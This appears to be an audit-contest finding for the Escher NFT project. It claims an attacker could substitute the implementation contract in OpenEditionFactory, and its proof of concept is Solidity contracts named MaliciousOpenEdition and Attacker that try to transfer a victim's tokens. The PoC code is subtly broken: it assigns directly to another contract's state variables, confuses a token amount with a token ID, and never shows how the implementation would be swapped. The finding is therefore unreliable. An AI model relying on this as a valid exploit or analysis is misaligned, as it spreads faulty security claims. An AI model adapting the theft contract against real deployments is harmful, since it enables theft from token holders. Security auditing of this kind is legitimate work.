Escher contest - MHKK33's results

Lines of code

https://github.com/code-423n4/2022-12-escher/blob/5d8be6aa0e8634fdb2f328b99076b0d05fefab73/src/minters/OpenEditionFactory.sol#L23

Vulnerability details

Impact

It is possible that an attacker could set the implementation contract to a different contract that has the same function signatures, which could cause unexpected behavior when creating new OpenEdition contracts

Proof of Concept

pragma solidity ^0.8.17;

import {OpenEdition} from "./OpenEdition.sol"; import {IEscher721} from "../interfaces/IEscher721.sol";

contract MaliciousOpenEdition is OpenEdition { // The malicious contract should have the same function signatures as the OpenEdition contract

// Attacker-controlled variables
address public victim;
uint256 public stolenTokens;

// Function to steal tokens from the victim
function stealTokens() public {
    require(victim != address(0), "VICTIM NOT SET");
    require(stolenTokens > 0, "INVALID TOKEN AMOUNT");

    // Steal tokens from the victim
    IEscher721(token).transferFrom(victim, address(this), stolenTokens);
}

}

// Attacker contract contract Attacker { // Create an instance of the MaliciousOpenEdition contract MaliciousOpenEdition public malicious = new MaliciousOpenEdition();

// Set the victim and stolen token amount in the MaliciousOpenEdition contract
function setVictim(address payable _victim, uint256 _stolenTokens) public {
    malicious.victim = _victim;
    malicious.stolenTokens = _stolenTokens;
}

// Steal tokens from the victim
function stealTokens() public {
    malicious.stealTokens();
}

}

Tools Used

Recommended Mitigation Steps

It is important to verify properly that implementation is an instance of OpenEdition.